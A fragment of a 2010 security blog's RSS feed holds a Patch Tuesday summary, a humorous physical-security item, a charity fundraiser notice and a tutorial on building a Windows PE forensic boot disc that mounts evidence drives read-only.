]]></content:encoded>
			<wfw:commentRss>http://praetorianprefect.com/archives/2010/05/best-information-security-commercial-evah/feed/</wfw:commentRss>
		<slash:comments>8</slash:comments>
		</item>
		<item>
		<title>May&#8217;s Patch Tuesday</title>
		<link>http://praetorianprefect.com/archives/2010/05/mays-patch-tuesday/</link>
		<comments>http://praetorianprefect.com/archives/2010/05/mays-patch-tuesday/#comments</comments>
		<pubDate>Tue, 11 May 2010 22:46:23 +0000</pubDate>
		<dc:creator>Simon Price</dc:creator>
				<category><![CDATA[Security]]></category>

		<guid isPermaLink="false">http://praetorianprefect.com/?p=3915</guid>
		<description><![CDATA[
After a busy April patch month, May&#8217;s patch Tuesday proves to be much quieter with two updates released by Microsoft. Although deemed critical, read the details below to see how your environment may or may not be affected.

Microsoft Updates



ID: MS10-030
Title: Vulnerability in Outlook Express and Windows Mail Could Allow Remote Code Execution 
Microsoft Severity: Critical

Summary: [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://praetorianprefect.com/wp-content/uploads/2010/03/msft_logo.jpg"><img src="http://praetorianprefect.com/wp-content/uploads/2010/03/msft_logo.jpg" alt="msft_logo" title="msft_logo" width="50" height="50" class="alignleft size-full wp-image-3484" /></a>
After a busy April patch month, May&#8217;s patch Tuesday proves to be much quieter with two updates released by Microsoft. Although deemed critical, read the details below to see how your environment may or may not be affected.</p>

<h3>Microsoft Updates</h3>

<hr />

<p><strong>ID:</strong> <a href="http://www.microsoft.com/technet/security/Bulletin/MS10-030.mspx">MS10-030</a><br />
<strong>Title:</strong> Vulnerability in Outlook Express and Windows Mail Could Allow Remote Code Execution <br />
<strong>Microsoft Severity:</strong> Critical<br /></p>

<p><strong>Summary:</strong> A vulnerability exists in Outlook Express and Window Mail caused by an insufficient validation of network data before using the data to calculate the necessary size of a buffer. An attacker can exploit the vulnerability by tricking a user to initiate a connection to a malicious POP or IMAP server.<br /></p>

<p><strong>Praetorian&#8217;s Recommendation:</strong> The critical severity is due to the potential for remote code execution, however their are a few key points here to mitigate the severity. First, the mail clients affected are Outlook Express and Windows Mail, Office Outlook is not affected. Second, the client must initiate a connection to a malicious server. In an corporate or enterprise environment, the egress points should restrict outbound POP and IMAP, or the desktop environment should restrict the server settings from being modified.<br /></p>

<hr />

<p><strong>ID:</strong> <a href="http://www.microsoft.com/technet/security/Bulletin/MS10-031.mspx">MS10-031</a><br />
<strong>Title:</strong> Vulnerability in Microsoft Visual Basic for Applications Could Allow Remote Code Execution <br />
<strong>Microsoft Severity:</strong> Critical<br /></p>

<p><strong>Summary:</strong> A vulnerability exists in Visual Basic for applications which can lead to remote code execution. An attacker can create a malicious Office file (Word, Excel) which exploits the VBA vulnerability.<br /></p>

<p><strong>Praetorian&#8217;s Recommendation:</strong> A user would need to open a malicious file to be expoited, therefore, continued emphasis on user training on handling email attachments and web content is necessary. Prepare this update for your next MS Office patch cycle.<br /></p>

<hr />

<p><strong>Related Posts:</strong></p>
<ul>
<li><a href="http://praetorianprefect.com/archives/2010/06/iphone-4-ordering-and-session-switching/">iPhone 4 Ordering and Session Switching</a></li>
<li><a href="http://praetorianprefect.com/archives/2010/03/3473/">March&#8217;s Patch Tuesday</a></li>
<li><a href="http://praetorianprefect.com/archives/2010/03/press-f1-for-help-pwned/">Press F1 for Help, pwned.</a></li>
<li><a href="http://praetorianprefect.com/archives/2010/01/first-patch-tuesday-of-2010/">First Patch Tuesday of 2010</a></li>
<li><a href="http://praetorianprefect.com/archives/2009/12/regular-or-decaf-tool-launched-to-combat-cofee/">Regular or Decaf? Tool launched to combat COFEE</a></li>
</ul><br />
]]></content:encoded>
			<wfw:commentRss>http://praetorianprefect.com/archives/2010/05/mays-patch-tuesday/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Bo Dietl Lost His Guns</title>
		<link>http://praetorianprefect.com/archives/2010/04/bo-dietl-lost-his-guns/</link>
		<comments>http://praetorianprefect.com/archives/2010/04/bo-dietl-lost-his-guns/#comments</comments>
		<pubDate>Fri, 16 Apr 2010 21:57:48 +0000</pubDate>
		<dc:creator>Prefect</dc:creator>
				<category><![CDATA[funny]]></category>
		<category><![CDATA[charlatans]]></category>
		<category><![CDATA[Physical Security]]></category>

		<guid isPermaLink="false">http://praetorianprefect.com/?p=3737</guid>
		<description><![CDATA[<a href="http://en.wikipedia.org/wiki/Bo_Dietl">Richard "Bo" Dietl</a> lost his guns. The former NYPD Detective and media contributor on Fox News and the Don Imus show, founder of <a href="http://www.investigations.com/">Beau Dietl &#38; Associates</a>, subject of a film where he was played by Stephen Baldwin, and Chairman of the New York State Security Guard Advisory Council was featured on Jon Stewart's show for being himself burglarized. What's funny is that his description of what happened, particularly his focus on the security measures he had in place but that weren't used, follow the well worn pattern of responses one typically hears after an information security breach (but we were PCI compliant, we had IDS in place, it was a sophisticated attacker, everyone gets hacked, and so forth).]]></description>
			<content:encoded><![CDATA[<p><a href="http://praetorianprefect.com/wp-content/uploads/2010/04/fbn-20091123-dietlmmfa.jpg"><img src="http://praetorianprefect.com/wp-content/uploads/2010/04/fbn-20091123-dietlmmfa-150x150.jpg" alt="fbn-20091123-dietlmmfa" title="fbn-20091123-dietlmmfa" width="110" height="110" class="alignleft size-thumbnail wp-image-3741" /></a></p>

<p><a href="http://en.wikipedia.org/wiki/Bo_Dietl">Richard &#8220;Bo&#8221; Dietl</a> lost his guns. The former NYPD Detective and media contributor on Fox News and the Don Imus show, founder of <a href="http://www.investigations.com/">Beau Dietl &amp; Associates</a>, subject of a film where he was played by Stephen Baldwin, and Chairman of the New York State Security Guard Advisory Council was featured on Jon Stewart&#8217;s show for being himself burglarized. What&#8217;s funny is that his description of what happened, particularly his focus on the security measures he had in place but that weren&#8217;t used, follow the well worn pattern of responses one typically hears after an information security breach (but we were PCI compliant, we had IDS in place, it was a sophisticated attacker, everyone gets hacked, and so forth).</p>

<h3>Back Story</h3>

<p>Bo Dietl had his guns (9 handguns and a shotgun) stolen from his 1 Penn Plaza office sometime between November 2007 and last January according to his time frame. He spends time in the clip showing us his office&#8217;s four hour safe (fire protection is given in hours), the safe the guns were next to, not in. The shot gun was on top of a bookshelf.</p>

<h3>The Daily Show, 04/15/2010</h3>

<table style='font:11px arial; color:#333; background-color:#f5f5f5' cellpadding='0' cellspacing='0' width='360' height='353'><tbody><tr style='background-color:#e5e5e5' valign='middle'><td style='padding:2px 1px 0px 5px;'><a target='_blank' style='color:#333; text-decoration:none; font-weight:bold;' href='http://www.thedailyshow.com'>The Daily Show With Jon Stewart</a></td><td style='padding:2px 5px 0px 5px; text-align:right; font-weight:bold;'>Mon &#8211; Thurs 11p / 10c</td></tr><tr style='height:14px;' valign='middle'><td style='padding:2px 1px 0px 5px;' colspan='2'<a target='_blank' style='color:#333; text-decoration:none; font-weight:bold;' href='http://www.thedailyshow.com/watch/thu-april-15-2010/he-s-come-ungunned'>He&#8217;s Come Ungunned<a></td></tr><tr style='height:14px; background-color:#353535' valign='middle'><td colspan='2' style='padding:2px 5px 0px 5px; width:360px; overflow:hidden; text-align:right'><a target='_blank' style='color:#96deff; text-decoration:none; font-weight:bold;' href='http://www.thedailyshow.com/'>www.thedailyshow.com</a></td></tr><tr valign='middle'><td style='padding:0px;' colspan='2'><embed style='display:block' src='http://media.mtvnservices.com/mgid:cms:item:comedycentral.com:270695' width='360' height='301' type='application/x-shockwave-flash' wmode='window' allowFullscreen='true' flashvars='autoPlay=false' allowscriptaccess='always' allownetworking='all' bgcolor='#000000'></embed></td></tr><tr style='height:18px;' valign='middle'><td style='padding:0px;' colspan='2'><table style='margin:0px; text-align:center' cellpadding='0' cellspacing='0' width='100%' height='100%'><tr valign='middle'><td style='padding:3px; width:33%;'><a target='_blank' style='font:10px arial; color:#333; text-decoration:none;' href='http://www.thedailyshow.com/full-episodes/'>Daily Show Full Episodes</a></td><td style='padding:3px; width:33%;'><a target='_blank' style='font:10px arial; color:#333; text-decoration:none;' href='http://www.indecisionforever.com'>Political Humor</a></td><td style='padding:3px; width:33%;'><a target='_blank' style='font:10px arial; color:#333; text-decoration:none;' href='http://www.thedailyshow.com/videos/tag/Tea+Party'>Tea Party</a></td></tr></table></td></tr></tbody></table>

<h3>Beau Dietl &amp; Associates</h3>

<p>The firm primarily handles personnel and physical security, and has a list of firms, events, and celebrities for which they have provided personal protection.</p>

<p>Unfortunately when Bo starts advising on information security, the wheels fall off the wagon:</p>

<p><embed type='application/x-shockwave-flash' src='http://foxnews1.a.mms.mavenapps.net/mms/rt/1/site/foxnews1-foxnews-pub01-live/current/videolandingpage/fncLargePlayer/client/embedded/embedded.swf' id='mediumFlashEmbedded' pluginspage='http://www.macromedia.com/go/getflashplayer' bgcolor='#000000' allowScriptAccess='always' allowFullScreen='true' quality='high' name='FOX News' play='false' scale='noscale' menu='false' salign='LT' scriptAccess='always' wmode='false' height='275' width='305' flashvars='playerId=videolandingpage&#038;playerTemplateId=fncLargePlayer&#038;categoryTitle=undefined&#038;referralObject=3099919' /></p>

<h3>Finally</h3>

<p>A laugh on a Friday along with two important lessons: the best security measures don&#8217;t work when they&#8217;re not actually used, and practice what you preach.</p>

<p><strong>Related Posts:</strong></p>
<ul>
<li><a href="http://praetorianprefect.com/archives/2010/05/for-access-call-or-walk-right-in/">For Access Call, or Walk Right In</a></li>
<li><a href="http://praetorianprefect.com/archives/2010/05/happy-30th-birthday-pac-man-google-style/">Happy 30th Birthday Pac-Man, Google Style</a></li>
<li><a href="http://praetorianprefect.com/archives/2010/05/best-information-security-commercial-evah/">Best Information Security Commercial Evah&#8230;</a></li>
</ul><br />
]]></content:encoded>
			<wfw:commentRss>http://praetorianprefect.com/archives/2010/04/bo-dietl-lost-his-guns/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Give this Man a Haircut and Support a Worthwhile Cause</title>
		<link>http://praetorianprefect.com/archives/2010/04/give-this-man-a-haircut-and-support-a-worthwhile-cause/</link>
		<comments>http://praetorianprefect.com/archives/2010/04/give-this-man-a-haircut-and-support-a-worthwhile-cause/#comments</comments>
		<pubDate>Fri, 16 Apr 2010 19:52:43 +0000</pubDate>
		<dc:creator>Prefect</dc:creator>
				<category><![CDATA[Technology in Society]]></category>
		<category><![CDATA[google hacking]]></category>
		<category><![CDATA[johnny long]]></category>

		<guid isPermaLink="false">http://praetorianprefect.com/?p=3725</guid>
		<description><![CDATA[Gal Shpantzer, friend of the blog, fellow blogger, and <a href="http://blogs.csoonline.com/blog/gal_shpantzer">a writer for CSO Online</a> asked us to bring some attention to a <a href="http://blogs.csoonline.com/1194/i_dare_you_to_make_me_get_a_mohawk_its_for_a_good_cause_really">worthy cause</a>. As part of his talk at Security B-Sides Boston in Cambridge, MA, he will partake in certain unabashed activities for each monetary contribution threshold reached for Hackers for Charity.]]></description>
			<content:encoded><![CDATA[<p><a href="http://praetorianprefect.com/wp-content/uploads/2010/04/shpantzer_mohawk1.jpg"><img src="http://praetorianprefect.com/wp-content/uploads/2010/04/shpantzer_mohawk1.jpg" alt="shpantzer_mohawk" title="shpantzer_mohawk" width="69" height="85" class="alignleft size-full wp-image-3748" /></a></p>

<p>Gal Shpantzer, friend of the blog, fellow blogger, and <a href="http://blogs.csoonline.com/blog/gal_shpantzer">a writer for CSO Online</a> asked us to bring some attention to a <a href="http://blogs.csoonline.com/1194/i_dare_you_to_make_me_get_a_mohawk_its_for_a_good_cause_really">worthy cause</a>. As part of his talk at Security B-Sides Boston in Cambridge, MA, he will partake in certain unabashed activities for each monetary contribution threshold reached for Hackers for Charity.</p>

<p>If the total amount of money raised is $3,000 or more, he will shave his head into a Mohawk.</p>

<p>At the $5,000 level, he says he will wear a kilt. For this second one, we&#8217;re not sure how doing something he likes to do anyway is a personal challenge, but whatever.</p>

<h3>The Specifics</h3>

<p>To donate via PayPal, start at the following address: <a href="http://www.hackersforcharity.org/hackers-for-charity/get-involved/#Long_Journey">http://www.hackersforcharity.org/hackers-for-charity/get-involved/#Long_Journey</a>.</p>

<p>When you receive a receipt from PayPal for the donation amount, please e-mail the relevant portions to: <u>mohawk@security-twits.com</u>. If the above thresholds are reached by April 24th, Gal Shpantzer will really need that hat he&#8217;s always pictured in wherever he goes.</p>

<h3>About Hackers for Charity</h3>

<p>Hackers for Charity is a non-profit organization created by Johnny Long. The overall goals of Hacking for Charity <a href="http://www.hackersforcharity.org">are listed</a> as follows:</p>

<ul>
<li>We feed children through our  &#8220;food for work&#8221; program </li>
<li>We build computer labs to help students learn skills and land jobs that are key to disrupting poverty&#8217;s vicious cycle. </li>
<li>We provide technical assistance to charities that can not afford IT services.</li>
</ul>

<div id="attachment_3733" class="wp-caption alignleft" style="width: 310px"><a href="http://praetorianprefect.com/wp-content/uploads/2010/04/IMG_4245-300x225.jpg"><img src="http://praetorianprefect.com/wp-content/uploads/2010/04/IMG_4245-300x225.jpg" alt="The Jinja, Uganda community center." title="IMG_4245-300x225" width="300" height="225" class="size-full wp-image-3733" /></a><p class="wp-caption-text">The Jinja, Uganda community center.</p></div>

<p>A center was recently opened under the initiative in Jinja, Uganda in East Africa. The goal of the center is to provide hands on computer training to a community that will soon reap the benefits of high speed fiber lines such as the ones running from Mombasa. In order to realize job creation in these areas, people who have never before touched a computer require hands on experience, experience that can be gained using the free training resources and heavily discounted computer usage fees available at the new center.</p>

<p>You can read the rest of what is an interesting progression, see which firms have supported the training initiative, and even read the story of one condescending company that wouldn&#8217;t help <a href="http://www.hackersforcharity.org/community-centers/">here</a>.</p>

<h3>Johnny Long</h3>

<p>Johnny Long is a security researcher best known for popularizing Google hacking, using search phrases in the popular search engine to identify vulnerable services on the Internet and for being as he&#8217;s described it, a &#8220;Christian hacker&#8221;. He&#8217;s published a book on the Google hacking techniques, and contributed to more than ten other works in information security literature.</p>

<h3>Finally</h3>

<p>We at Praetorian also think Gal should die the mohawk one color and the rest of his hair another.</p>

<p><strong>Related Posts:</strong></p>
<ul>
<li><a href="http://praetorianprefect.com/archives/2010/06/zuckerburg-apologizes-for-facebook-privacy-changes/">Zuckerburg Apologizes for Facebook Privacy Changes</a></li>
<li><a href="http://praetorianprefect.com/archives/2009/12/james-lipton-says-dont-tweet-your-junk/">James Lipton says &#8220;Don&#8217;t tweet your junk&#8221;</a></li>
<li><a href="http://praetorianprefect.com/archives/2009/10/lojack-for-children/">LoJack for children</a></li>
<li><a href="http://praetorianprefect.com/archives/2009/10/yahoo-and-the-objectification-of-women/">Yahoo! and the Objectification of Women</a></li>
</ul><br />
]]></content:encoded>
			<wfw:commentRss>http://praetorianprefect.com/archives/2010/04/give-this-man-a-haircut-and-support-a-worthwhile-cause/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>WinPE 3.0 &amp; Forensics</title>
		<link>http://praetorianprefect.com/archives/2010/04/winpe-3-0-forensics/</link>
		<comments>http://praetorianprefect.com/archives/2010/04/winpe-3-0-forensics/#comments</comments>
		<pubDate>Mon, 12 Apr 2010 22:46:49 +0000</pubDate>
		<dc:creator>Simon Price</dc:creator>
				<category><![CDATA[Forensics]]></category>
		<category><![CDATA[windows]]></category>

		<guid isPermaLink="false">http://praetorianprefect.com/?p=3608</guid>
		<description><![CDATA[It is a common task for an investigator to boot a machine using bootable media in the form of DVD or USB and there are countless options available. This tutorial is not intended to replace your favorite Helix CD or preferred method, but you may find this analysis interesting if you are a Windows expert performing a forensics analysis.]]></description>
			<content:encoded><![CDATA[<p><a href="http://praetorianprefect.com/wp-content/uploads/2010/04/glass1.png"><img src="http://praetorianprefect.com/wp-content/uploads/2010/04/glass1-150x150.png" alt="glass1" title="glass1" width="150" height="150" class="alignleft size-thumbnail wp-image-3711" /></a></p>

<p>It is a common task for a computer forensics investigator to boot a machine using boot-able media in the form of DVD or USB and there are countless options available. This tutorial is not intended to replace your favorite Helix CD or preferred method, but you may find this analysis interesting if you are a Windows expert performing a forensics analysis.</p>

<p>Windows PE (Pre-installation Environment) is a minimal Win32 based operating system, typically used for automating deployments by booting into PE via local or PXE boot methods and then imaging or running installations of various operating systems. Version 3.0 of PE included in the latest Windows Automated Installation Kit (AIK) is based on the Windows 7 kernel.</p>

<h3>Getting Started</h3>

<p>To get started, you need the AIK which can be downloaded from <a href="http://www.microsoft.com/downloads/details.aspx?familyid=696DD665-9F76-4177-A811-39C26D3B3B34&amp;displaylang=en">the Microsoft web site</a>. After the installation, you will need to begin working on creating and customizing a WinPE image for your forensics boot disc/drive.</p>

<h4>Make WinPE into WinFE</h4>

<p>If you used WinPE as is and booted it up, it would mount available disks and may lead you in the wrong direction in terms of preserving evidence by changing the state of the drives. WinFE, which stands for Windows Forensics Environment, is based on a document written by Troy Larson, a Forensics Specialist at Microsoft. When this <a href="http://www.twine.com/item/113421dk0-g99/windows-fe">document</a> was written, it was geared toward WinPE 2.1, so there are a few differences in some of the steps I will document in this post, which is intended for version 3.0.</p>

<p>The point of WinFE is that the PE environment boots without mounting physical disks. You can then use imaging tools to capture the disk or mount it in read-only mode to run some tools against the target OS immediately without modification to data in the environment, which in this case could be evidence.</p>

<h4>Let&#8217;s get to it</h4>

<div id="attachment_3623" class="wp-caption alignright" style="width: 185px"><a href="http://praetorianprefect.com/wp-content/uploads/2010/04/copype.jpg"><img src="http://praetorianprefect.com/wp-content/uploads/2010/04/copype-150x150.jpg" alt="copype" title="copype" width="175" height="150" class="alignright size-thumbnail wp-image-3614" /></a><p class="wp-caption-text">CopyPE Command</p></div>

<p>Begin by launching the Deployment Tools Command Prompt (as an administrator). In the following examples, I am using c:\temp\winFE as the path where my PE image is processed, built, etc. The first step is to generate the basic structure and .wim file:</p>

<pre><code>copype.cmd x86 c:\temp\winFE
</code></pre>

<p>This command will create the Windows PE customization working directory. The next step is to mount the default image file so that you can then make some necessary changes: including changing the registry settings to ensure disks are not mounted at bootup and to add any tools or software you need. AIK Version 3.0 includes dism.exe, which replaces peimg.exe, and can be used to mount and unmount images like imagex.exe:</p>

<pre><code>Dism /Mount-Wim /WimFile:c:\temp\winFE\winpe.wim /index:1 /MountDir:c:\temp\winFE\mount
</code></pre>

<div id="attachment_3623" class="wp-caption alignright" style="width: 310px"><a href="http://praetorianprefect.com/wp-content/uploads/2010/04/dism-mount.jpg"><img src="http://praetorianprefect.com/wp-content/uploads/2010/04/dism-mount-300x50.jpg" alt="Mounting Image" title="dism-mount" width="300" height="50" class="size-medium wp-image-3623" /></a><p class="wp-caption-text">Mounting Image</p></div>

<p>This command mounts the PE image in the c:\temp\winfe\mount directory. If you navigate there, you&#8217;ll see a Windows directory which is the instance of PE that will boot when you finish the process. We need to make some registry changes to the PE registry to prevent mounting disks on start up.</p>

<ul>
<li>Open up the registry editor, highlight HKEY_LOCAL_MACHINE and click on File, Load Hive. </li>
<li>Browse to the mounted PE image and in the Windows\System32\Config directory, choose the file SYSTEM (no extension). </li>
<li>Choose a friendly name such as PE-System.</li>
</ul>

<p>Now under HKEY_LOCAL_MACHINE there will be another hive called PE-System. Make the following changes in this hive:</p>

<ul>
<li>Add NoAutoMount key to \ControlSet001\Services\MountMgr\ with a DWORD value 1</li>
<li>Add SanPolicy key to \ControlSet001\Services\partmgr\Parameters with a DWORD value 3</li>
</ul>

<p>Unload the hive by selecting it and clicking on File, Unload Hive.</p>

<h4>Branding</h4>

<p>Now with our registry changes made, we can make any additional customizations prior to closing up the image. You can &#8220;brand&#8221; your forensics boot with custom wallpaper by adding winpe.bmp to the mount\Windows\System32 directory.</p>

<h4>Required Tools</h4>

<p>With the image mounted, anything you add to c:\temp\winFE\mount (or if you modified it, the directory you used for the mount) will be a part of the image and boot with your PE boot. For example, I like to create a Tools directory under mount, and in there place tools such as FTK Imager Lite, dd, and netcat. You can of course add any tools of your choice.</p>

<p>If you are familiar with <a href="http://www.regripper.net/">Regripper</a>, this would be a good place to have it as you can get some information from the registry before starting any imaging process. You can add a portable version of Perl, such as <a href="http://strawberryperl.com/releases.html">Strawberry Perl</a> to the tools directory, and add the Regripper tools. I&#8217;ll show Regripper in an example later when booting WinFE.</p>

<p>For tools that require a CYGWIN environment, you can add <a href="http://sourceforge.net/projects/cygwinportable/">use this</a> portable version of CYGWIN and have this environment available in PE.</p>

<h4>Custom Scripts</h4>

<p>Being that this is a Windows environment, you can write some VBS/WMI scripts to gather some information as well. Since WMI is not added by default to the base WinPE image, you have to add this package:</p>

<pre><code>dism.exe /image:c:\temp\winFE\mount /add-package
/packagepath:"c:\Program Files\Windows AIK\Tools\PETools\x86\winpe-wmi.cab"
</code></pre>

<div id="attachment_3640" class="wp-caption aligncenter" style="width: 310px"><a href="http://praetorianprefect.com/wp-content/uploads/2010/04/wmi-add.jpg"><img src="http://praetorianprefect.com/wp-content/uploads/2010/04/wmi-add-300x73.jpg" alt="Adding WMI Package" title="wmi-add" width="300" height="73" class="size-medium wp-image-3640" /></a><p class="wp-caption-text">Adding WMI Package</p></div>

<p>I also added hta and scripting support:</p>

<pre><code>dism.exe /image:c:\temp\winFE\mount /add-package
/packagepath:"c:\Program Files\Windows AIK\Tools\PETools\x86\winpe-hta.cab"
/packagepath:"c:\Program Files\Windows AIK\Tools\PETools\x86\winpe-scripting.cab"
</code></pre>

<div id="attachment_3656" class="wp-caption aligncenter" style="width: 310px"><a href="http://praetorianprefect.com/wp-content/uploads/2010/04/scripting-hta-add.jpg"><img src="http://praetorianprefect.com/wp-content/uploads/2010/04/scripting-hta-add-300x95.jpg" alt="Add Scripting and HTA packages" title="scripting-hta-add" width="300" height="95" class="size-medium wp-image-3656" /></a><p class="wp-caption-text">Add Scripting and HTA packages</p></div>

<p>Here are two examples of some WMI queries you can use in your forensics boot:</p>

<ul>
<li><a href='http://praetorianprefect.com/wp-content/uploads/2010/04/BIOS.txt'>BIOS.vbs</a> &#8211; Retrieves information about the system BIOS.</li>
<li><a href='http://praetorianprefect.com/wp-content/uploads/2010/04/disk.txt'>disk.vbs</a> &#8211; Retrieves information about disks.</li>
</ul>

<h4>Powershell?</h4>

<p>A major issue I have with WinPE is Microsoft&#8217;s failure to provide a supported dotNet option. This removes any possibility of using powershell or creating custom applications with VB.Net. This leaves us with vbs/wmi/VB6 until dotNet support is available.</p>

<h4>Finalize the Image</h4>

<p>Once the registry changes are made and you&#8217;ve added all your tools and software into the mounted directory, you write and close the image:</p>

<div id="attachment_9999" class="wp-caption alignright" style="width: 310px"><a href="http://praetorianprefect.com/wp-content/uploads/2010/04/dism-unmount.jpg"><img src="http://praetorianprefect.com/wp-content/uploads/2010/04/dism-unmount-300x78.jpg" alt="Unmount the Image" title="Unmount the Image" width="300" height="78" class="alignright size-medium wp-image-3667" /></a><p class="wp-caption-text">Unmount the Image</p></div>

<pre><code>Dism /Unmount-Wim /MountDir:C:\winpe_x86\mount\ /Commit
</code></pre>

<p>Note that this isn&#8217;t final, you can always mount the image again, make changes, add new analysis software, etc. using the same steps above, then commit the changes and create a new ISO file.</p>

<p>Copy the resulting winpe.wim file (c:\temp\winfe) into ISO\Sources\boot.wim:</p>

<pre><code>copy c:\temp\winfe\winpe.wim c:\temp\winfe\iso\sources\boot.wim /Y
</code></pre>

<h3>Generate the ISO</h3>

<p>With our image ready, it&#8217;s time to generate the ISO. First, we don&#8217;t want the usual &#8220;Hit any key to boot from CD message&#8221; as we don&#8217;t want to risk booting from the local disks. To eliminate this message, delete the file bootfix.bin from the ISO\boot directory (c:\temp\winFE\ISO\boot).</p>

<pre><code>oscdimg -n -bc:\temp\winFE\etfsboot.com c:\temp\winFE\ISO c:\temp\winFE\forensics-boot.iso
</code></pre>

<p>This ISO file can now be burned to CD/DVD or used in a VM environment to test it out. If you intend to use a USB drive, you can prepare it by doing the following:</p>

<ul>
<li>In a command prompt, run diskpart

<ul>
<li>select disk #  (the # should refer to the USB disk, use &#8220;list disk&#8221; to determine)</li>
<li>clean</li>
<li>create partition primary</li>
<li>select partition 1</li>
<li>active</li>
<li>format fs=fat32</li>
<li>assign</li>
</ul></li>
<li>Then, copy the contents of the ISO directory to the USB disk

<ul>
<li>xcopy c:\temp\winFE&#92;iso&#92;&#42;.&#42; /s /e /f e:\ (change e: to reflect the drive of your USB key)</li>
</ul></li>
</ul>

<h3>Let&#8217;s Boot</h3>

<div id="attachment_3673" class="wp-caption alignleft" style="width: 310px"><a href="http://praetorianprefect.com/wp-content/uploads/2010/04/booting.jpg"><img src="http://praetorianprefect.com/wp-content/uploads/2010/04/booting-300x233.jpg" alt="Booting WinFE" title="booting" width="300" height="233" class="size-medium wp-image-3673" /></a><p class="wp-caption-text">Booting WinFE</p></div>
<br /></p>

<p>Take your WinFE boot-ready device and boot a workstation, VM, or machine of your choice. I had a Windows XP VMWare instance which was my target device to investigate. I configured VMWare to use the ISO for the CD-ROM device and rebooted it.</p>

<p>At first glance, it will look just like Windows 7 booting. Remember, WinPE 3.0 is based on the Windows 7 kernel. When booted, your custom wallpaper configured earlier in the post will display with a command prompt and you will be in the \Windows\System32 directory. This directory is part of the PE operating system, not the target OS which we will analyze. Change to the root directory and will you will see any directories created (such as Tools) when we customized the PE. 
<br /><br /><br /><br /></p>

<p><div id="attachment_3675" class="wp-caption alignright" style="width: 310px"><a href="http://praetorianprefect.com/wp-content/uploads/2010/04/diskpart-list.jpg"><img src="http://praetorianprefect.com/wp-content/uploads/2010/04/diskpart-list-300x116.jpg" alt="Checking drives in Diskpart" title="diskpart-list" width="300" height="116" class="size-medium wp-image-3675" /></a><p class="wp-caption-text">Checking drives in Diskpart</p></div>
<br /><br /></p>

<p>We can double check that the registry key worked and did not mount our target drive. Run diskpart, then type &#8220;list vol&#8221;. You will see a Volume which is Offline and has no drive letter, perhaps more than one. These are drives we may want to mount read-only and analyze. My VM has a single 8GB drive which is Volume 1, so that is my target.
<br /><br /></p>

<p><div id="attachment_3681" class="wp-caption alignright" style="width: 310px"><a href="http://praetorianprefect.com/wp-content/uploads/2010/04/diskpart-readonly.jpg"><img src="http://praetorianprefect.com/wp-content/uploads/2010/04/diskpart-readonly-300x191.jpg" alt="Set your disk to Read-only" title="diskpart-readonly" width="300" height="191" class="size-medium wp-image-3681" /></a><p class="wp-caption-text">Set your disk to Read-only</p></div>

<p>Let&#8217;s get this mounted in read-only mode so we can poke around and get some preliminary information prior to imaging. In diskpart, select the target volume (select vol), then set it to readonly (att vol set readonly). Now we can double check with the &#8220;detail vol&#8221; command where &#8216;Read-only&#8217; should specify &#8216;Yes&#8217;. We can mount this by assigning a drive letter (let&#8217;s assign letter=F). The F: drive is not available in read-only mode, preserving the evidence but giving access to the data that can be beneficial. In testing this process, try to write to the mounted drive (see screenshot for example). The message will come back &#8220;The media is write protected&#8221; if everything is set up properly.</p>

<h3>Analyze This</h3>

<p>Depending on how you customized your WinFE image, and what tools you added, you have many options to gather some information that can be useful prior to the potential time consuming imaging process. I mentioned RegRipper before, this tool can be used to get valuable information from the registry of our target. You could use other varieed tools to gather initial data or go straight to imaging software such as FTK Imager Lite. Here are some screenshots of the various tools running in WinFE:</p>

<div id="attachment_3689" class="wp-caption alignleft" style="width: 310px"><a href="http://praetorianprefect.com/wp-content/uploads/2010/04/rr.jpg"><img src="http://praetorianprefect.com/wp-content/uploads/2010/04/rr-300x234.jpg" alt="RegRipper in WinFE w/ Strawberry Perl" title="rr" width="300" height="234" class="size-medium wp-image-3689" /></a><p class="wp-caption-text">RegRipper in WinPE w/ Strawberry Perl</p></div>
<div id="attachment_3692" class="wp-caption alignright" style="width: 310px"><a href="http://praetorianprefect.com/wp-content/uploads/2010/04/ftk.jpg"><img src="http://praetorianprefect.com/wp-content/uploads/2010/04/ftk-300x235.jpg" alt="FTK Imager Lite" title="ftk" width="300" height="235" class="size-medium wp-image-3692" /></a><p class="wp-caption-text">FTK Imager Lite</p></div>
<br /><br /></p>

<p><div id="attachment_3694" class="wp-caption alignleft" style="width: 310px"><a href="http://praetorianprefect.com/wp-content/uploads/2010/04/cygwin.jpg"><img src="http://praetorianprefect.com/wp-content/uploads/2010/04/cygwin-300x234.jpg" alt="CygWin in WinFE" title="cygwin" width="300" height="234" class="size-medium wp-image-3694" /></a><p class="wp-caption-text">CygWin in WinFE</p></div>

<div id="attachment_3697" class="wp-caption alignright" style="width: 310px"><a href="http://praetorianprefect.com/wp-content/uploads/2010/04/fau.jpg"><img src="http://praetorianprefect.com/wp-content/uploads/2010/04/fau-300x234.jpg" alt="VolumeDump from George M. Garner Jr&#039;s FAU" title="fau" width="300" height="234" class="size-medium wp-image-3697" /></a><p class="wp-caption-text">VolumeDump from George M. Garner Jr's FAU</p></div>

<h3>Finally</h3>

<p>Ultimately, this was an exercise in reviewing ways that WinPE can be used for forensic purposes. It is another option to be aware of, and for those who are more apt to a Microsoft environment this may be your preferred boot method. Hopefully, Microsoft will create a dotNet cab file that can be added as a package to WinPE, as this would create further options for creating Win32 dotNet programs to run within the WinFE environment and opening up Powershell for scripting within WinPE.</p>

<hr />

<h3>UPDATES</h3>

<p>16 April 2010 &#8211; Brett Shavers shared a <a href="http://www.forensicfocus.com/downloads/WinFE.pdf">link</a> with us that includes a great instructional PDF and even a batch file to create the WinFE ISO for you.</p>

<p><strong>Related Posts:</strong></p>
<ul>
<li><a href="http://praetorianprefect.com/archives/2009/12/reactivating-decaf-in-two-minutes/">Reactivating DECAF in Two Minutes</a></li>
<li><a href="http://praetorianprefect.com/archives/2009/12/forensics-beverages-aside-a-look-at-incident-response-tools/">Forensics: Beverages Aside, A Look at Incident Response Tools</a></li>
<li><a href="http://praetorianprefect.com/archives/2009/12/regular-or-decaf-tool-launched-to-combat-cofee/">Regular or Decaf? Tool launched to combat COFEE</a></li>
<li><a href="http://praetorianprefect.com/archives/2009/11/taxonomy-of-forensics-geeks/">Taxonomy of Forensics Geeks</a></li>
